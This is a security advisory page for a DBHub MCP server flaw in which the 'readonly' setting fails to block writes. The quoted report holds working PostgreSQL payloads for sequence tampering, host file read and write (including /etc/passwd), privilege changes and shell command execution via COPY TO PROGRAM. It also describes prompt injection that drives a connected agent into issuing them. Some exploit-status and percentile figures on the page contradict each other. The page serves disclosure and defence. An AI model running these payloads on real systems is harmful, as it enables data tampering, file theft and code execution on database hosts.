CVE-2026-61788: DBHub: readonly mode bypass enables writes and RCE

GHSA-mwwr-p57h-56pfHIGHPoC AVAILABLECISA: ATTEND
Published September 24, 2026
CISO Take

DBHub, the MCP server that lets AI agents query databases, advertises a per-tool `readonly = true` setting, but the database-level read-only control is never wired up, so only a keyword classifier stands in the way. Function-based statements such as `SELECT setval(...)`, `lo_export`, `pg_read_file` and `dblink_exec` pass that check, allowing data tampering, and with a privileged role, host file read/write and remote code execution on the database host. The HTTP transport is unauthenticated and binds to 0.0.0.0 by default, and prompt injection against a connected agent offers a second route to the same calls. Exploitation likelihood is currently modest (EPSS 0.003, about the 79th percentile, no public exploit, no Nuclei template, not in CISA KEV, SSVC ATTEND), and the CVSS of 7.4 reflects the high attack complexity. Upgrade @bytebase/dbhub to 0.22.6 or later, and until then restrict network access to /mcp and connect with a genuinely read-only database role, not an admin DSN.

Sources:NVDGitHub AdvisoryEPSSATLASCISA SSVC

What is the risk?

High severity (CVSS 7.4, AV:N/AC:H/PR:N). Likelihood is moderate to low today (EPSS 0.003, no public exploit, not in KEV, SSVC ATTEND), but the impact is serious where the DSN is privileged: integrity loss, host file disclosure and remote code execution on the database host. Exposure rises sharply when the unauthenticated HTTP endpoint is reachable, because no credentials are needed. Even with authentication in place, the main risk is that teams relying on `readonly = true` as a control believe they are protected when they are not (CWE-636 fail-open, CWE-184 incomplete denylist, CWE-863 incorrect authorization). All released versions up to 0.22.2 are affected per the advisory, with a fix in 0.22.6.

How does the attack unfold?

Initial Access
Attacker reaches the unauthenticated /mcp endpoint, or injects a prompt into content that a connected agent processes.
AML.T0049
Read-only Bypass
A SELECT statement calling a side-effecting function such as setval, lo_export or dblink_exec passes the first-keyword classifier because no database-level read-only is applied.
AML.T0053
Execution
With a privileged role, dblink_exec with COPY TO PROGRAM runs shell commands, and pg_read_file or lo_export reads and writes host files.
AML.T0050
Impact
Data is modified, host files are disclosed or written, and the database host is compromised.
AML.T0101

What systems are affected?

PackageEcosystemVulnerable RangePatched
@bytebase/dbhubnpm< 0.22.60.22.6

Do you use @bytebase/dbhub? You're affected.

How severe is it?

CVSS 3.1
7.4 / 10
EPSS
0.4%
chance of exploitation in 30 days
Higher than 35% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
○CISA SSVC: Public PoC
○Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVACPRUISCIA
AVNetwork
ACHigh
PRNone
UINone
SUnchanged
CHigh
IHigh
ANone

What should I do?

1 step
  1. 1) Upgrade @bytebase/dbhub to 0.22.6 or later, which adds engine-level read-only enforcement (Postgres BEGIN READ ONLY, SQLite query_only, MySQL/MariaDB START TRANSACTION READ ONLY) and a hardened classifier. 2) Do not rely on the tool-level readonly flag as a security boundary: connect with a database role that has only SELECT privileges, no superuser, no pg_read_server_files, pg_write_server_files or pg_execute_server_program, and remove the dblink extension if unused. Set default_transaction_read_only=on at the role level. 3) Do not expose the HTTP transport: bind to 127.0.0.1, or put it behind an authenticated reverse proxy or network ACL. 4) Detection: search database logs for SELECT statements calling setval, nextval, lo_export, lo_import, pg_read_file, pg_ls_dir, dblink and dblink_exec, and for COPY ... TO PROGRAM. Review unexpected files on the database host, sequence value changes and unusual outbound connections from it. 5) Review agent exposure to untrusted content that could drive prompt injection into SQL tool calls.

What does CISA's SSVC say?

DecisionAttend
Exploitationpoc
AutomatableNo
Technical Impacttotal

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 15-Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.6-AI system operation and monitoring
NIST AI RMF
MANAGE 2.3-Mechanisms to respond to and recover from unknown risks
OWASP LLM Top 10
LLM03-Supply ChainLLM06-Excessive Agency

Frequently Asked Questions

What is CVE-2026-61788?

DBHub, the MCP server that lets AI agents query databases, advertises a per-tool `readonly = true` setting, but the database-level read-only control is never wired up, so only a keyword classifier stands in the way. Function-based statements such as `SELECT setval(...)`, `lo_export`, `pg_read_file` and `dblink_exec` pass that check, allowing data tampering, and with a privileged role, host file read/write and remote code execution on the database host. The HTTP transport is unauthenticated and binds to 0.0.0.0 by default, and prompt injection against a connected agent offers a second route to the same calls. Exploitation likelihood is currently modest (EPSS 0.003, about the 79th percentile, no public exploit, no Nuclei template, not in CISA KEV, SSVC ATTEND), and the CVSS of 7.4 reflects the high attack complexity. Upgrade @bytebase/dbhub to 0.22.6 or later, and until then restrict network access to /mcp and connect with a genuinely read-only database role, not an admin DSN.

Is CVE-2026-61788 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-61788, increasing the risk of exploitation.

How to fix CVE-2026-61788?

1) Upgrade @bytebase/dbhub to 0.22.6 or later, which adds engine-level read-only enforcement (Postgres BEGIN READ ONLY, SQLite query_only, MySQL/MariaDB START TRANSACTION READ ONLY) and a hardened classifier. 2) Do not rely on the tool-level readonly flag as a security boundary: connect with a database role that has only SELECT privileges, no superuser, no pg_read_server_files, pg_write_server_files or pg_execute_server_program, and remove the dblink extension if unused. Set default_transaction_read_only=on at the role level. 3) Do not expose the HTTP transport: bind to 127.0.0.1, or put it behind an authenticated reverse proxy or network ACL. 4) Detection: search database logs for SELECT statements calling setval, nextval, lo_export, lo_import, pg_read_file, pg_ls_dir, dblink and dblink_exec, and for COPY ... TO PROGRAM. Review unexpected files on the database host, sequence value changes and unusual outbound connections from it. 5) Review agent exposure to untrusted content that could drive prompt injection into SQL tool calls.

What systems are affected by CVE-2026-61788?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, MCP servers, database-connected AI agents, text-to-SQL pipelines.

What is the CVSS score for CVE-2026-61788?

CVE-2026-61788 has a CVSS v3.1 base score of 7.4 (HIGH). The EPSS exploitation probability is 0.40%.

What is the AI security impact?

Affected AI Architectures

agent frameworksMCP serversdatabase-connected AI agentstext-to-SQL pipelines

MITRE ATLAS Techniques

AML.T0037Data from Local System
AML.T0049Exploit Public-Facing Application
AML.T0050Command and Scripting Interpreter
AML.T0051.001Indirect
AML.T0053AI Agent Tool Invocation
AML.T0101Data Destruction via AI Agent Tool Invocation

Compliance Controls Affected

EU AI Act: Art. 15
ISO 42001: A.6.2.6
NIST AI RMF: MANAGE 2.3
OWASP LLM Top 10: LLM03, LLM06

What are the technical details?

Original Advisory

### Summary Setting `readonly = true` on the `execute_sql` tool does not make the connection read-only. The connectors are written to set PostgreSQL `default_transaction_read_only=on` (and open SQLite in `readOnly` mode), but that code is gated on a config value that is never populated, so it never runs. The only thing left enforcing read-only is a classifier that inspects the first keyword of each statement. Any `SELECT` that writes or has side effects through a function call passes it. With an ordinary role this allows sequence tampering; with a privileged role it allows writing arbitrary files on the server (`lo_export`), reading arbitrary host files (`pg_read_file`), and remote code execution (`dblink` + `COPY ... TO PROGRAM`). The HTTP transport is unauthenticated and binds to `0.0.0.0` by default, so this is reachable by any network caller of `/mcp`. ### Details Two problems combine. **1. The database-level read-only control is dead code.** `PostgresConnector.connect()` only enables it when `config.readonly` is truthy (`src/connectors/postgres/index.ts:175-177`): ```ts // SDK-level readonly enforcement: Set default_transaction_read_only for the entire connection if (config?.readonly) { poolConfig.options = (poolConfig.options || '') + ' -c default_transaction_read_only=on'; } ``` SQLite is gated the same way (`src/connectors/sqlite/index.ts:192`). `ConnectorConfig.readonly` is assigned in exactly one place, and only from `source.readonly` (`src/connectors/manager.ts:236-238`): ```ts // Pass readonly flag for SDK-level enforcement (PostgreSQL, SQLite) if (source.readonly !== undefined) { config.readonly = source.readonly; } ``` `source.readonly` can never have a value: - `SourceConfig` has no `readonly` field (`src/types/config.ts:49-62`). `readonly` exists only on the per-tool `ExecuteSqlToolConfig` / `CustomToolConfig`. - The TOML loader rejects `readonly` at source level (`src/config/toml-loader.ts:476-481`: "readonly must be configured per-tool, not per-source"). - The `--readonly` CLI flag was removed and now hard-exits (`src/config/env.ts:30`). So the `if (source.readonly !== undefined)` check is always false, `config.readonly` stays unset, and DB-level read-only is never applied in any configuration the loader accepts. The per-tool `readonly` only ever reaches the classifier; `executeSQL()` ignores `options.readonly` and runs multi-statement batches in a plain `BEGIN` rather than `BEGIN READ ONLY` (`src/connectors/postgres/index.ts:598-666`). (The docs already describe the classifier as "a safety net... not a security boundary." This report is about the DB-level control above, which the code clearly means to apply — see the "SDK-level readonly enforcement" comments — but silently fails to wire up.) **2. The classifier only checks the leading keyword.** `areAllStatementsReadOnly()` (`src/tools/execute-sql.ts:24-27`) splits on `;` and runs `isReadOnlySQL()` (`src/utils/allowed-keywords.ts`) on each statement. `isReadOnlySQL` matches the first word against an allow-list, scans for mutating keywords only inside `WITH`, blocks `SELECT ... INTO`, and special-cases `EXPLAIN ANALYZE`. It never looks at the functions a statement calls. These all classify as read-only: - `SELECT setval('seq', n)` / `nextval('seq')` — sequence write. Needs UPDATE (setval) or USAGE/UPDATE (nextval) on the sequence, which read roles normally hold. - `SELECT lo_export(lo, '/path')` — writes a file on the server. Needs superuser or `pg_write_server_files`. - `SELECT pg_read_file('/etc/passwd')` — reads any file the server user can read. Needs superuser or `pg_read_server_files`. - `SELECT dblink_exec('dbname=...', 'UPDATE ...')` — opens a fresh connection (not read-only) and runs writes/DDL. Needs the `dblink` extension. - `SELECT dblink_exec('dbname=...', $$COPY (SELECT 1) TO PROGRAM 'id'$$)` — command execution. Needs superuser or `pg_execute_server_program`, plus `dblink`. The read-only test suite covers none of these. ### PoC Point DBHub at a PostgreSQL source with read-only set on the tool: ```toml [[sources]] id = "default" dsn = "postgres://app:app@localhost:5432/app" [[tools]] name = "execute_sql" source = "default" readonly = true ``` Start it and call `execute_sql`: ``` npx @bytebase/dbhub@latest --transport http --port 8080 ``` With any role, a write that should be blocked goes through — the sequence value changes and the call returns success: ```sql SELECT setval('users_id_seq', 1); ``` With a privileged role, the rest are also accepted and executed: ```sql SELECT lo_export(lo_from_bytea(0, decode('48656c6c6f0a','hex')), '/tmp/dbhub_poc'); -- writes /tmp/dbhub_poc SELECT pg_read_file('/etc/passwd'); -- reads a host file SELECT dblink_exec('dbname=app', 'UPDATE users SET admin=true'); -- write via a new connection SELECT dblink_exec('dbname=app', $$COPY (SELECT 1) TO PROGRAM 'id > /tmp/pwned'$$); -- runs a shell command ``` The decision can be reproduced without a database by running the project's own `isReadOnlySQL` + `splitSQLStatements` (with `areAllStatementsReadOnly` copied from `src/tools/execute-sql.ts`) over the strings above: direct INSERT/UPDATE/DROP, data-modifying CTEs, `SELECT ... INTO`, and `EXPLAIN ANALYZE INSERT` are all rejected, while every function-based statement above returns read-only = true. ### Impact Affects all released versions up to and including 0.22.2, on both stdio and HTTP transports, for PostgreSQL and SQLite. `readonly = true` does not stop writes. Anyone who can reach the `execute_sql` input can modify data under read-only mode — a network caller of the unauthenticated `/mcp` endpoint, a malicious MCP client, or untrusted content reaching an agent wired to DBHub through prompt injection. When the configured database role is privileged (common, since DBHub is often pointed at an existing admin DSN), the same access yields arbitrary file write on the server, arbitrary host-file read, and remote code execution on the database host. --- ### Maintainer note (consolidation) Tracking this as the canonical advisory for "read-only mode does not prevent database writes." The following reports describe the same root cause (read-only enforced only by the keyword classifier; the connection-level backstop was never wired) and are closed as duplicates: - **GHSA-7rgf-cwgq-c2qc** — same unwired driver-level backstop, plus the SQLite write-effecting `PRAGMA` gap. - **GHSA-m689-287g-5xpc** — SQLite assignment-form `PRAGMA` write bypass (a subset of the above). Preserving the SQLite-specific remediation from those reports: in `isReadOnlySQL`, the assignment form `PRAGMA x = ...` must be classified as a write (only the query/introspection form is read-only), and SQLite read-only executions are additionally guarded at the engine via `PRAGMA query_only=ON`. GHSA-j656-3hf2-fvjc (MySQL/MariaDB `--` comment parsing + `multipleStatements`) is a distinct root cause and is tracked separately. Fix: https://github.com/bytebase/dbhub/pull/342 — adds engine-level read-only enforcement per tool (Postgres `BEGIN READ ONLY`, SQLite `query_only`, MySQL/MariaDB `START TRANSACTION READ ONLY`) plus the classifier hardening above.

Exploitation Scenario

An organization runs DBHub over HTTP on a shared network segment with a read-only tool and an admin-level Postgres DSN. An attacker who reaches /mcp, or who plants a prompt injection in a ticket or document that an connected agent summarizes, submits `SELECT dblink_exec('dbname=app', $$COPY (SELECT 1) TO PROGRAM 'id > /tmp/pwned'$$)`. The keyword classifier sees a SELECT and allows it, the statement runs on a fresh non-read-only connection, and the attacker gains command execution on the database host. From there they read secrets with pg_read_file, modify data via dblink_exec, and pivot into the wider environment.

Weaknesses (CWE)

CWE-184 — Incomplete List of Disallowed Inputs: The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

  • [Implementation] Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Timeline

Published
September 24, 2026
Last Modified
September 29, 2026
First Seen
September 24, 2026

Related Vulnerabilities